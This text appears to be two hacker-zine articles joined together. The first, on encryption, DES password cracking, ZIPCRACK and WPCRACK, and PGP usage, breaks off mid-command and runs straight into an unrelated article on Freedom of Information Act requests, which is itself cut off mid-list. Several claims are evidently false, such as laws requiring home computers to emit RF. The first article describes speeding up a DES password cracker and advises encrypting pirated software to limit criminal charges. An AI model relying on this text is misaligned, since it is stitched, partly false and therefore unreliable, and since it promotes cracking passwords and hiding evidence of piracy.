Over the course of the last 5 years, I've watched as the U.S. Government went from a task force of nearly nil all the way to a powerful marauder. Their mission? Unclear. Regardless, the research being accomplished by federally‑funded projects dealing with the issues of computer security are escalating. I've personally joined and examined many such conferences and have carefully examined the issues. Many of these issues will become future Phrack articles which I'll write. Others, such as limited‑life semiconductors and deliberate telephone line noise sabotage caused by ACK packet detections in order to drive telecommunication costs higher, are sadly unpreventable problems of the future which won't be cured by simple awareness of the problem.

They have different names ‑‑ Computer Emergency Response Team (CERT), Computer Assisted Security Investigative Analysis Tool (FBI's CASIAT), the Secret Service's Computer Fraud Division, or the National Computer Security Center (NSA's NCSC). Scores of other groups exist for every network, even every operating system. Their goal isn't necessarily to catch hackers; their goal is to acquire information about the act of hacking itself until it is no longer is a problem. Encryption stands in the way.

Computer Security is literally so VAST a concept that, once a person awakens to low‑level computer mechanics, it becomes nearly impossible to prevent that person from gaining unauthorized access to machines. This is somewhat contradictory to the "it's all social engineering" concept which we have been hearing about on Nightline and in the papers. If you can't snag them one way though, you can get them another ‑‑ the fact is that computers are still too damn vulnerable these days to traditional hacking techniques.

Because of the ease of breaking through security, it becomes very difficult to actually create an effective way to protect yourself from any form of computer hacking. Look at piracy: they've tried every trick in the book to protect software and, so far, the only success they have had was writing software that sucked so much nobody wanted a copy.

Furthermore, totally non‑CPU related attacks are taking place. The passing of Anti‑TEMPEST Protection Laws which prevent homes from owning computers that don't give off RF emissions has made it possible for any Joe with a few semesters of electrical engineering knowledge to rig together a device that can read what's on your computer monitor.

Therefore:

Q: How does a person protect their own computer from getting hacked?

A: You pretty much can't.

I've memorized so many ways to bypass computer security that I can rattle them off in pyramid levels. If a computer is not even connected to a network or phone line, people can watch every keystroke typed and everything displayed on the screen.

Why aren't the Fedz using these techniques RIGHT NOW?

I can't say they are not. However, a little research into TEMPEST technology resulted in a pretty blunt fact:

There are too many computer components to scan accurately. Not the monitor, oh no! You're pretty much fucked there. But accessories for input and output, such as printers, sound cards, scanners, disk drives, and so forth...the possibility of parallel CPU TEMPEST technology exists, but there are more CPU types than any mobile unit could possibly use accurately.

Keyboards are currently manufactured by IBM, Compaq, Dell, Northgate, Mitsuma (bleah), Fujitsu, Gateway, Focus, Chichony, Omni, Tandy, Apple, Sun, Packard‑Bell (may they rot in hell), Next, Prime, Digital, Unisys, Sony, Hewlett‑Packard, AT&T, and a scattering of hundreds of lesser companies. Each of these keyboards have custom models, programmable models, 100+ key and < 100 key models, different connectors, different interpreters, and different levels of cable shielding.

For the IBM compatible alone, patents are owned on multiple keyboard pin connectors, such as those for OS/2 and Tandy, as well as the fact that the ISA chipsets are nearly as diverse as the hundreds of manufacturers of motherboards. Because of lowest‑bid practices, there can be no certainty of any particular connection ‑‑ especially when you are trying to monitor a computer you've never actually seen!

In short ‑‑ it costs too much for the TEMPEST device to be mobile and to be able to detect keystrokes from a "standard" keyboard, mostly because keyboards aren't "standard" enough! In fact, the only real standard which I can tell exists on regular computers is the fact that monitors still use good old CRT technology.

Arguments against this include the fact that most of the available PC computers use standard DIN connectors which means that MOST of the keyboards could be examined. Furthermore, these keyboards are traditionally serial connections using highly vulnerable wire (see Appendix B).

Once again, I raise the defense that keyboard cables are traditionally the most heavily shielded (mine is nearly 1/4 inch thick) and therefore falls back on the question of how accurate a TEMPEST device which is portable can be, and if it is cost effective enough to use against hackers. Further viewpoints and TEMPEST overview can be seen in Appendix B.

As a result, we have opened up the possibility for protection from outside interference for our computer systems. Because any DECENT encryption program doesn't echo the password to your screen, a typical encryption program could provide reasonable security to your machine. How reasonable?

If you have 9 pirated programs installed on your computer at a given time and you were raided by some law enforcement holes, you would not be labeled at a felon. Instead, it wouldn't even be worth their time to even raid you. If you have 9 pirated programs installed on your computer, had 200 pirated programs encrypted in a disk box, and you were raided, you would have to be charged with possession of 9 pirated programs (unless you did something stupid, like write "Pirated Ultima" or something on the label).

We all suspected encryption was the right thing to do, but what about encryption itself? How secure IS encryption?

If you think that the world of the Hackers is deeply shrouded with extreme prejudice, I bet you can't wait to talk with crypto‑analysts. These people are traditionally the biggest bunch of holes I've ever laid eyes on. In their mind, people have been debating the concepts of encryption since the dawn of time, and if you come up with a totally new method of data encryption, ‑YOU ARE INSULTING EVERYONE WHO HAS EVER DONE ENCRYPTION‑, mostly by saying "Oh, I just came up with this idea for an encryption which might be the best one yet" when people have dedicated all their lives to designing and breaking encryption techniques ‑‑ so what makes you think you're so fucking bright?

Anyway, crypto‑(anal)ysts tend to take most comments as veiled insults, and are easily terribly offended. Well, make no mistake, if I wanted to insult these people, I'd do it. I've already done it. I'll continue to do it. And I won't thinly veil it with good manners, either.

The field of Crypto‑analysis has traditionally had a mathematical emphasis. The Beal Cipher and the German Enigma Cipher are some of the more popular views of the field. Ever since World War 2, people have spent time researching how technology was going to affect the future of data encryption.

If the United States went to war with some other country, they'd have a strong advantage if they knew the orders of the opposing side before they were carried out. Using spies and wire taps, they can gain encrypted data referred to as Ciphertext. They hand the information over to groups that deal with encryption such as the NSA and the CIA, and they attempt to decode the information before the encrypted information is too old to be of any use.

The future of Computer Criminology rests in the same ways. The deadline on white collar crimes is defaulted to about 3‑4 years, which is called the Statute of Limitations. Once a file is obtained which is encrypted, it becomes a task to decrypt it within the statute's time.

As most crypto‑analysts would agree, the cost in man‑hours as well as supercomputer time would make it unfeasible to enforce brute force decryption techniques of random encryption methods. As a result of this, government regulation stepped in.

The National Security Agency (referred to as "Spooks" by the relatively famous tormenter of KGB‑paid‑off hackers, Cliff Stoll, which is probably the only thing he's ever said which makes me think he could be a real human being) released the DES ‑‑ Data Encryption Standard. This encryption method was basically solid and took a long time to crack, which was also the Catch‑22.

DES wasn't uncrackable, it was just that it took "an unreasonable length of time to crack." The attack against the word "unreasonable" keeps getting stronger and stronger. While DES originated on Honeywell and DEC PDPs, it was rumored that they'd networked enough computers together to break a typical DES encrypted file. Now that we have better computers and the cost requirements for high‑speed workstations are even less, I believe that even if they overestimated "unreasonable" a hundredfold, they'd be in the "reasonable" levels now.

To explain how fast DES runs these days...

I personally wrote a password cracker for DES which was arguably the very first true high‑speed cracker. It used the German "Ultra‑Fast Crypt" version of the DES algorithm, which happened to contain a static variable used to hold part of the previous attempt at encrypting the password, called the salt. By making sure the system wouldn't resalt on every password attempt, I was able to guess passwords out of a dictionary at the rate of 400+ words per second on a 386‑25 (other methods at that time were going at about 30 per second). As I understand it now, levels at 500+ for the same CPU have been achieved.

Now this means I can go through an entire dictionary in about five minutes on a DES‑encrypted segment. The NSA has REAL cash and some of the finest mathematicians in the world, so if they wanted to gain some really decent speed on encryption, DES fits the ideal for parallel programming. Splitting a DES segment across a hundred CPUs, each relatively modern, they could crank out terraflops of speed. They'd probably be able to crack the code within a few days if they wanted to.

Ten years from now, they could do it in a few seconds.

Of course, the proper way to circumnavigate DES encryption is to locate and discover a more reliable, less popular method. Because the U.S. Government regulates it, it doesn't mean it's the best. In fact, it means it's the fucking lamest thing they could sweeten up and hope the public swallows it! The last attempt the NSA made at regulating a standard dealing with encryption, they got roasted.

I'm somewhat convinced that the NSA is against personal security, and from all the press they give, they don't WANT anyone to have personal security. Neither does the Media for that matter.

Because of lamers in the "Biblical Injustice Grievance Group of Opposing Terrible Sacrilege" (or BIGGOTS) who think that if you violate a LAW you're going to Hell (see APPENDIX C for my viewpoint of these people) and who will have convinced Congress to pass ease‑of‑use wire taps on telephone lines and networks so that they can monitor casual connections without search warrants, encryption will be mandatory if you want any privacy at all.

And to quote Phil Zimmermann, "If privacy is outlawed, only the outlaws will have privacy."

Therefore, encryption methods that we must use should be gathered into very solid categories which do NOT have endorsement of the NSA and also have usefulness in technique.

HOW TO USE DECENT ENCRYPTION:

(First, go to APPENDIX D, and get yourself a copy of PGP, latest version.)

First of all, PGP is contraband software, presumably illegal to use in the United States because of a patent infringement it allegedly carries. The patent infringement is the usage of a variant of the RSA encryption algorithm. Can you patent an algorithm? By definition, you cannot patent an idea, just a product ‑‑ like source code. Yet, the patent exists to be true until proven false. More examples of how people in the crypto‑analyst field can be assholes.

Anyway, Phil's Pretty Good Software, creators of PGP, were sued and all rights to PGP were forfeited in the United States of America. Here comes the violation of the SECOND law, illegal exportation of a data encryption outside of the United States of America. Phil distributed his encryption techniques outside the USA, which is against the law as well. Even though Mr. Zimmermann doesn't do any work with PGP, because he freely gave his source code to others, people in countries besides the United States are constantly updating and improving the PGP package.

PGP handles two very important methods of encryption ‑‑ conventional and public key. These are both very important to understand because they protect against completely different things.

‑‑‑‑‑‑‑‑‑‑‑‑

CONVENTIONAL ENCRYPTION

‑‑‑‑‑‑‑‑‑‑‑‑

Conventional encryption techniques are easiest to understand. You supply a password and the password you enter encrypts a file or some other sort of data. By re‑entering the password, it allows you to recreate the original data.

Simple enough concept, just don't give the password to someone you don't trust. If you give the password to the wrong person, your whole business is in jeopardy. Of course, that goes with just about anything you consider important.

There are doubtlessly many "secure enough" ciphers which exist right now. Unfortunately, the availability of these methods are somewhat slim because of exportation laws. The "major" encryption programs which I believe are worth talking about here are maintained by people foreign to the USA.

The two methods of "conventional" encryption are at least not DES, which qualifies them as okay in my book. This doesn't mean they are impossible to break, but they don't have certain DES limitations which I know exist, such as 8 character password maximum. The methods are: MDC, as available in the package HPACK; and IDEA, as available in Pretty Good Privacy.

Once you've installed PGP, we can start by practicing encrypting some typical files on your PC. To conventionally encrypt your AUTOEXEC.BAT file (it won't delete the file after encryption), use the following command:

C:\> pgp ‑c autoexec.bat

Pretty Good Privacy 2.1 ‑ Public‑key encryption for the masses. (c) 1990‑1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 1993/01/19 03:06 GMT

You need a pass phrase to encrypt the file.

Enter pass phrase: {Password not echoed }

Enter same pass phrase again: Just a moment....

Ciphertext file: autoexec.pgp

C:\> dir

Volume in drive C is RACK'S

Directory of c:\autoexec.pgp

autoexec.pgp 330 1‑18‑93 21:05

330 bytes in 1 file(s) 8,192 bytes allocated 52,527,104 bytes free

PGP will compress the file before encrypting it. I'd say this is a vulnerability to the encryption on the basis that the file contains a ZIP file signature which could conceivably make the overall encryption less secure. Although no reports have been made of someone breaking PGP this way, I'd feel more comfortable with the ZIP features turned off. This is somewhat contrary to the fact that redundancy checking is another way of breaking ciphertext. However, it isn't as reliable as checking a ZIP signature.

Although PGP will doubtlessly become the more popular of the two programs, HPACK's encryption "strength" is that by being less popular, it will probably not be as heavily researched as PGP's methods will be. Of course, by following PGP, new methods of encryption will doubtlessly be added as the program is improved.

Here is how you'd go about encrypting an entire file using the HPACK program using the MDC "conventional" encryption:

C:\> hpack A ‑C secret.hpk secret.txt

HPACK ‑ The multi‑system archiver Version 0.78a0 (shareware version) For Amiga, Archimedes, Macintosh, MSDOS, OS/2, and UNIX

Copyright (c) Peter Gutmann 1989 ‑ 1992. Release date: 1 Sept 1992

Archive is 'SECRET.HPK'

Please enter password (8..80 characters):

Reenter password to confirm:

Adding SECRET .TXT

Done

Anyway, I don't personally think HPACK will ever become truly popular for any reason besides its encryption capabilities. ZIP has been ported to an amazing number of platforms, in which lies ZIP's encryption weakness. If you think ZIP is safe, remember that you need to prevent the possibility of four years of attempted password cracking in order to beat the Statutes of Limitations:

Here is the introduction to ZIPCRACK, and what it had to say about how easy it is to break through this barrier:

(Taken from ZIPCRACK.DOC)

‑‑‑‑‑

ZIPCRACK is a program designed to demonstrate how easy it is to find passwords on files created with PKZIP. The approach used is a fast, brute‑force attack, capable of scanning thousands of passwords per second (5‑6000 on an 80386‑33). While there is currently no known way to decrypt PKZIP's files without first locating the correct password, the probability that a particular ZIP's password can be found in a billion‑word search (which takes about a day on a fast '486) is high enough that anyone using the encryption included in PKZIP 1.10 should be cautious (note: as of this writing, PKZIP version 2.00 has not been released, so it is not yet known whether future versions of PKZIP will use an improved encryption algorithm). The author's primary purpose in releasing this program is to encourage improvements in ZIP security. The intended goal is NOT to make it easy for every computer user to break into any ZIP, so no effort has been made to make the program user‑friendly.

‑‑‑‑‑ End Blurb

Likewise, WordPerfect is even more vulnerable. I've caught a copy of WordPerfect Crack out on the Internet and here is what it has to say about WordPerfect's impossible‑to‑break methods:

(Taken from WPCRACK.DOC:)

‑‑‑‑‑

WordPerfect's manual claims that "You can protect or lock your documents with a password so that no one will be able to retrieve or print the file without knowing the password ‑ not even you," and "If you forget the password, there is absolutely no way to retrieve the document." [1]

Pretty impressive! Actually, you could crack the password of a Word Perfect 5.x file on a 8 1/2" x 11" sheet of paper, it's so simple. If you are counting on your files being safe, they are NOT. Bennet [2] originally discovered how the file was encrypted, and Bergen and Caelli [3] determined further information regarding version 5.x. I have taken these papers, extended them, and written some programs to extract the password from the file. ‑‑‑‑‑ End Blurb

‑‑‑‑‑‑‑‑‑‑‑

PUBLIC KEY ENCRYPTION

‑‑‑‑‑‑‑‑‑‑‑

Back to the Masters of Deception analogy ‑‑ they were telephone tapped. Conventional encryption is good for home use, because only one person could possibly know the password. But what happens when you want to transmit the encrypted data by telephone? If the Secret Service is listening in on your phone calls, you can't tell the password to the person that you want to send the encrypted information to. The SS will grab the password every single time.

Enter Public‑Key encryption! The concepts behind Public‑Key are very in‑depth compared to conventional encryption. The idea here is that passwords are not exchanged; instead a "key" which tells HOW to encrypt the file for the other person is given to them. This is called the Public Key.

You retain the PRIVATE key and the PASSWORD. They tell you how to decrypt the file that someone sent you. There is no "straight" path between the Public Key and the Private Key, so just because someone HAS the public key, it doesn't mean they can produce either your Secret Key or Password. All it means is that if they encrypt the file using the Public Key, you will be able to decrypt it. Furthermore, because of one‑way encryption methods, the output your Public Key produces is original each time, and therefore, you can't decrypt the information you encrypted with the Public Key ‑‑ even if you encrypted it yourself!

Therefore, you can freely give out your own Public Key to anyone you want, and any information you receive, tapped or not, won't make a difference. As a result, you can trade anything you want and not worry about telephone taps! This technique supposedly is being used to defend the United States' Nuclear Arsenal, if you disbelieve this is secure.

I've actually talked with some of the makers of the RSA "Public‑Key" algorithm, and, albeit they are quite brilliant individuals, I'm somewhat miffed at their lack of enthusiasm for aiding the public in getting a hold of tools to use Public Key. As a result, they are about to get railroaded by people choosing to use PGP in preference to squat.

Okay, maybe they don't have "squat" available. In fact, they have a totally free package with source code available to the USA public (no exportation of code) which people can use called RSAREF. Appendix E explains more about why I'm not suggesting you use this package, and also how to obtain it so you can see for yourself.

Now that we know the basic concepts of Public‑Key, let's go ahead and create the basics for effective tap‑proof communications.

Generation of your own secret key (comments in {}s):

C:\> pgp ‑kg { Command used to activate PGP for key generation } Pretty Good Privacy 2.1 ‑ Public‑key encryption for the masses. (c) 1990‑1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 1993/01/18 19:53 GMT

Pick your RSA key size:

1) 384 bits‑ Casual grade, fast but less secure 2) 512 bits‑ Commercial grade, medium speed, good security 3) 1024 bits‑ Military grade, very slow, highest security Choose 1, 2, or 3, or enter desired number of bits: 3 {DAMN STRAIGHT MILITARY}

Generating an RSA key with a 1024‑bit modulus...

You need a user ID for your public key. The desired form for this user ID is your name, followed by your E‑mail address enclosed in <angle brackets>, if you have an E‑mail address.

For example: John Q. Smith <12345.6789@compuserve.com>

Enter a user ID for your public key:

The Racketeer <rack@lycaeum.hfc.com>

You need a pass phrase to protect your RSA secret key.

Your pass phrase can be any sentence or phrase and may have many words, spaces, punctuation, or any other printable characters.

Enter pass phrase: { Not echoed to screen }

Enter same pass phrase again: { " "

Note that key generation is a VERY lengthy process.

We need to generate 105 random bytes. This is done by measuring the time intervals between your keystrokes. Please enter some text on your keyboard, at least 210 nonrepeating keystrokes, until you hear the beep:

1 .* decrements }

‑Enough, thank you.

........................................

Key generation completed.

It took a 33‑386DX a grand total of about 10 minutes to make the key. Now that it has been generated, it has been placed in your key ring. We can examine the key ring using the following command:

C:\> pgp ‑kv

Pretty Good Privacy 2.1 ‑ Public‑key encryption for the masses. (c) 1990‑1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 1993/01/18 20:19 GMT

Key ring: 'c:\pgp\pubring.pgp'

Type bits/keyID Date User ID

pub 1024/7C8C3D 1993/01/18 The Racketeer <rack@lycaeum.hfc.com> 1 key(s) examined.

We've now got a viable keyring with your own keys. Now, you need to extract your Public Key so that you can have other people encrypt shit and have it sent to you. In order to do this, you need to be able to mail it to them. Therefore, you need to extract it in ASCII format. This is done by the following:

C:\> pgp ‑kxa "The Racketeer <rack@lycaeum.hfc.com>"

Pretty Good Privacy 2.1 ‑ Public‑key encryption for the masses

(c) 1990‑1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 1993/01/18 20:56 GMT

Extracting from key ring: 'c:\pgp\pubring.pgp', userid "The Racketeer <rack@lycaeum.hfc.com>".

Key for user ID: The Racketeer <rack@lycaeum.hfc.com>

1024‑bit key, Key ID 0C975F, created 1993/01/18

Extract the above key into which file? rackkey

Transport armor file: rackkey.asc

Key extracted to file 'rackkey.asc'.

Done. The end result of the key is a file which contains:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.1

mQCNAisuyi4AAAEEAN+cY6nUU+VIhYOqBfcc12rEMph+A7iadUi8xQJ00ANvp/iF +ugZ+GP2ZnzA0fob9cG/MVbh+iiz3g+nbS+ZljD2uK4VyxZfu5alsbCBFbJ6Oa8K /c/e19lzaksSlTcqTMQEae60JUkrHWpnxQMM3IqSnh3D+SbsmLBs4pFrfIw9AAUR tCRUaGUgUmFja2V0ZWVyIDxyYWNrQGx5Y2FldW0uaGZjLmNvbT4=

=6rFE

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

This can be tagged to the bottom of whatever E‑Mail message you want to send or whatever. This key can added to someone else's public key ring and thereby used to encrypt information so that it can be sent to you. Most people who use this on USENET add it onto their signature files so that it is automatically posted on their messages.

Let's assume someone else wanted to communicate with you. As a result, they sent you their own Public Key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.1

mQA9AitgcOsAAAEBgMlGLWl8rub0Ulzv3wpxI5OFLRkx3UcGCGsi/y/Qg7nR8dwI owUy65l9XZsp0MUnFQAFEbQlT25lIER1bWIgUHVkIDwxRHVtUHVkQG1haWxydXMu Yml0bmV0Pg==

=FZBm

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Notice this guy, Mr. One Dumb Pud, used a smaller key size than you did. This shouldn't make any difference because PGP detects this automatically. Let's now add the schlep onto your key ring.

C:\> pgp ‑ka dumbpud.asc

Pretty Good Privacy 2.1 ‑ Public‑key encryption for the masses. (c) 1990‑1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 1993/01/22 22:17 GMT

Key ring: 'c:\pgp\pubring.$01'

Type bits/keyID Date User ID

pub 384/C52715 1993/01/22 One Dumb Pud <1DumPud@mailrus.bitnet>

New key ID: C52715

Keyfile contains:

1 new key(s)

Adding key ID C52715 from file 'dumbpud.asc' to key ring 'c:\pgp\pubring.pgp'.

Key for user ID: One Dumb Pud <1DumPud@mailrus.bitnet>

384‑bit key, Key ID C52715, crated 1993/01/22

This key/userID associate is not certified.

Do you want to certify this key yourself (y/N)? n {We'll deal with this later}

Okay, now we have the guy on our key ring. Let's go ahead and encrypt a file for the guy. How about having the honor of an unedited copy of this file?

C:\> pgp ‑e encrypt One {PGP has automatic name completion} Pretty Good Privacy 2.1 ‑ Public‑key encryption for the masses. (c) 1990‑1992 Philip Zimmermann, Phil's Pretty Good Software. 6 Dec 92 Date: 1993/01/22 22:24 GMT

Recipient's public key will be used to encrypt.

Key for user ID: One Dumb Pud <1DumPud@mailrus.bitnet>

384‑bit key, Key ID C52715, created 1993/01/22

WARNING: Because this public key is not certified with a trusted signature, it is not known with high confidence that this public key actually belongs to: "One Dumb Pud <1DumPud@mailrus.bitnet>".

Are you sure you want to use this public key (y/N)? y

The Freedom Of Information Act and You

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 12 of 14

%@%@%@%@%@%@%@%@%@%@%@

| The Freedom of Information Act and You |

|

| by |

| Vince Niel |

|

%@%@%@%@%@%@%@%@%@%@%@

As we all know of our United State government in the modern era, Big Brother is watching. It is naive to think that we do not live in a world similar to the one described is George Orwell's novel, 1984. The government keeps tabs on everything we do. The federal government has thousands of documents concerning individual citizens. For example:

If you have worked for a federal agency or government contractor or have been a member of any branch of the armed services, the federal government has a file on you.

If you have participated in any federally financed project, some agency probably has a record of it.

If you have been arrested by local, state or federal authorities and your fingerprints were taken, the FBI maintains a record of you and that arrest.

If you have applied for or received a student loan or grant certified by the government, the Department of Health, Education, and Welfare has recorded the information.

If you have applied for or been investigated for a security clearance for any reason, the Department of Defense has a record of you.

And these records are not just records of application. Take for example the FBI. Once you commit a crime, they are watching you. They update your file every time there is a major occurrence in your life i.e. marriage, hospitalization, joining the military, committing another crime, etc. If they find the least likelihood of suspicion, they investigate you in depth to add even more to your file. People do not even realize how large their FBI file is.

If you were ever on a pirate board that got busted, and you had your info on there, all the users' info on the bulletin board is transferred to the federal government. There a file is opened up for each individual user. And if you ever get in trouble with the law, that file will be opened up and used against you if necessary. Before I continue, I would like to site an example of a man who ordered his file from the army. This file was created when he applied for a security clearance with the military years before. In it said:

... He owed 50 cents to his high school for not returning his locker key. ... He dated 2 or 3 times a week, and was not intimate with his dates. ... He was irresponsible because he owed a $5 jaywalking ticket in Seattle.

So what can you do about this big bureaucratic machine we call our government? Simple, fight back! The Freedom of Information Act (FOIA as it will be referred to) was passed and allows you to obtain your personal records from any governmental agency. A typeup of most of the agencies plus the actual act can be found at the end of this file.

There are restrictions to the act, but it can be quite useful to any individual who has had run‑ins with the law or who just wants to know what the federal government has on him. You can even go to court against the government if a document is denied to you and you think you deserve to see it. The act is not widely know, and for good reason. The government doesn't want you to know what they are doing. But alas, the information will be set free, the people have a right to know!

And don't think that the only interesting documents are the ones from the FBI and CIA. Fascinating documents can be gotten from the IRS, Department of Health, Department of Schools, Federal Traffic Administration, HUD, National Credit Union, with information you will never believe people who actually store about you.

The Specifics of Asking For Your Personal File From a Particular Agency

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First of all, I would like to bring up a major misconception people make. Most people assume that if you ask for your file from the FBI, and there isn't a file on you, one will be created for you. That is an untrue and extremely paranoid statement. The government has better things to do then open up files on curious citizens. And even if by some remote chance they do open up a file for you, who cares? They have a files on millions of people, its not like it will hinder you in life. Just be careful out there, that is all I can say.

The most important thing that can be done when asking for information from a governmental agency under the FOIA is to make it as brief, concise, and specific as possible. In this way, you will get your information, or refusal as soon as possible, and you will also curb copying fees (which will be discussed later). First you have to find the agency that concerns you. If you are not sure which agency to apply to, send your letter to more than one. There will be a list of agencies at the end of this file, but a complete list of agencies can be found in the United States Government Manual. This can be found at any library.

The request should be addressed to the agency's FOIA officer or to the head of the specific agency. Most agencies have a secretary to deal with all the FOIA applications. The smaller agencies, which you probably will not be concerned with, might not have an officer. On the bottom left hand corner of the envelope "Freedom of Information Act Request" should be printed legibly. This guarantees that your letter won't get caught in the paperwork shuffle.

All agencies has FOIA regulation that you should look at. They do not want to send out 'sensitive' documents and whatnot. These regulations also describe the request process in detail. Here you can also find out what specific document you are looking for, reducing fees from the agency. These regulations can be found in "The Code of Federal Regulations", which can also be found at your local library.

Most agencies require that you get your letter 'notarized' or they won't even look at it. This prevents you from impersonating someone else and getting their file. To get your letter notarized, all you have to do is go to your local bank. Show some proof that the person signing the letter is you (with an id or something) and they will notarize it. Now the government has no excuse for not taking your letter.

There are four parts to an FOIA request letter:

1) Request being made under the FOIA.

2) Records that are sought, as specifically as possible. 3) Name and address of the person requesting the information. Telephone number is not necessary, but you will find out about the outcome of your request much quicker.

4) How much money you are willing to spend for the document (explained later).

Here is a sample letter, just fill in your information:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Agency Head [or Freedom of Information Act Officer]

Name of Agency

Address of Agency

City, State, Zip Code

Re: Freedom of Information Act Request

I request a copy of the following documents [or documents containing the following information if you do not know the specific name of the document] be provided for me: [identify the documents as accurately as possible]

In order to help determine my status to assess fees, you should know that I am an individual seeking information for personal use and not for commercial use. [always, always say you are an individual. That way, you will not have to pay extra fees because you are part of the media or a commercial endeavor.]

[Optional] I am willing to pay fees for this request up to a maximum of $__. If you estimate the fees will exceed this limit, please inform me first.

[Optional] I request a waiver of all fees for this request. Disclosure of the requested information to me is in the public interest because it is likely to contribute significantly to public understanding of the operations or activities of the government and is not primarily in my commercial interest [include specific information].

Thank you for your consideration of this request.

Sincerely,

Name

Address

City, State, Zip Code Telephone Number [Optional]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some of the things in the letter may not be understood at first, but I will get to them.

Money:

As you might have guessed, getting information under the FOIA is not free, but it can be cheapened if you play your cards right. As specified in the letter, always say that you are an individual seeking information not for commercial purposes. Review is the process of going through documents and checking if they can be sent to you or not. Under the law, if you are a private individual and are not requesting information for commercial purposes, you cannot be charged with review fees!

All agencies have set fees for copying a document. Fees can also be taken for searching for a document. If you are an individual, you will be charged the least amount of money. Of course, if you have no idea in hell what the name of the document is, and you are stabbing in the dark it is a good idea to write in a set amount you are willing to spend. When the amount is reached, you will be notified. This is in the letter above.

You don't want to be jacked for a bill of 150 bucks if you send them a letter 'just send me everything you got on me'. Even if you have no idea what they have, you can say 'please send me all the dossiers, legal documents, and records you have under my name'. Remember, the government likes bureaucratic bullshit. If you do not phrase you letter right, they will nail you on it. A lot of agencies will waive the cost of processing if it is under $3, and even if you receive a bill, it should not exceed 5‑10 dollars.

If you can somehow prove that by accessing this information, it will help the general public understand how the government works, you can waive the fee altogether. If through some form of shrewd doublespeak you can think of something clever to satisfy this obligation, you can then request huge amounts of documents, without paying a cent for them.

Restrictions:

Of course, there are restrictions to the Freedom of Information Act. Some documentation may be said to be sensitive and out of reach of the public eye. Any refusal to grant information through the FOIA may be taken to court, and won. In the act, it states that cases brought up because of the FOIA should be put first on the court docket and tried as soon as possible. Its always worth a try.

When a record contains some information that is withheld, it does not necessarily mean that the whole record is exempt. The federal agency is obliged to cut out the portion that is sensitive, and send you the portion it can disclose. The agency must also give you a reason why it cut out this portion of the document.

Here are a few of the reasons for exemption:

1) Classified Documents ‑ Classified Documents may be withheld. The documents may be classified in the interest of national defense and foreign policy. Classified documents may still be requested. The agency will review the document to determine whether it still needs protection. If a requested document is already declassified, it can be easily requested.

2) Internal Personal Rules and Practices ‑ This exemption covers matters related to an agency's internal rules and practices. Requests for Internal schedules, administrative manuals and the like can be refused.

3) Confidential Business Information ‑ Trade secrets or commercially valuable plans do not have to be released. Commercial or financial information does not also have to be released, as it might hurt an individual.

4) Personal Privacy ‑ This covers personnel, medical, and similar files of which disclosed would interfere with personal privacy. This exemption has importance because it prevents a commercial business from getting information about you. At the same time, it allows you to get private information stored about yourself. This is why it is important to get your letter notarized.

5) Law Enforcement ‑ This allows law enforcement agencies to withhold law enforcement records in order to protect themselves and others. If there is a trial going on, you can't request your file. Its smart to get your file from the feds now, while you still can. Don't wait until you get in some serious shit, and then you don't even know what they have on you! If you know what they have on you, you know how to fight back.

If you request does get refused, there is still hope. If you think that under the FOIA's legal terms you deserve to have the document, you can send a letter of appeal. This letter can also be used to argue that their processing charge was unfair. The appeal letter is shown below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Agency Head or Appeal Officer

Name of Agency

Address of Agency

City, State, Zip Code

Re: Freedom of Information Act Appeal

Dear:

This is an appeal under the Freedom of Information Act.

On (date), I requested documents under the Freedom of Information Act. My request was assigned the following identification number: ______. On (date), I received a response to my request in a letter signed by (name of official). I appeal the denial of my request.

[Optional] The documents that were withheld must be disclosed under the FOIA because...

[Optional] I appeal the decision to deny my request for a waiver of fees. I believe that I am entitles to a waiver of fees. Disclosure of the documents I requested is in the public interest because the information is likely to contribute significantly to public understanding of the operations or activities of government and is not primarily in my commercial interest. (Provide Details)

[Optional] I appeal the decision to require me to pay review costs for this request. I am not seeking this document for commercial use. (Provide Details)

Thank you for your consideration of this appeal.

Sincerely,

Name

Address

City, State, Zip Code Telephone Number [Optional]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is a listing of a few government agencies that hold records on individual citizens:

Agriculture

Department of Agriculture

Washington, D.C. 20250

Air Force

Department of the Air Force

The Pentagon

Washington, D.C. 20330

Alcohol, Drug Abuse, and Mental Health

Alcohol, Drug Abuse, and Mental Health Administration 5600 Fisher Lane

Rockville, Maryland 20857

Alcohol, Tobacco and Firearms

Bureau of Alcohol, Tobacco, and Firearms

1200 Pennsylvania Avenue, N.W.

Washington, D.C. 20226

American Battle Monuments

American Battle Monuments Commission:

40014 Forrestal Bldg.

Washington, D.C. 20314

Appalachian Regional

Appalachian Regional Commission:

1666 Connecticut Avenue, N.W.

Washington, D.C. 20235

Arms Control and Disarmament

U.S. Army Control and Disarmament Agency

320 21st Street

Washington, D.C. 20451

Army

Department of the Army

The Pentagon

Washington, D.C. 20314

Census

Bureau of the Census

Federal Building 3

Washington, D.C. 20233

CIA

Central Intelligence Agency

Washington, D.C. 20505

Civil Aeronautics

Civil Aeronautics Board

1825 Connecticut Avenue, N.W.

Washington, D.C. 20428

Civil Rights

Civil Rights Commission

1121 Vermont Avenue, N.W.

Washington, D.C. 20425

Civil Service

Civil Service Commission

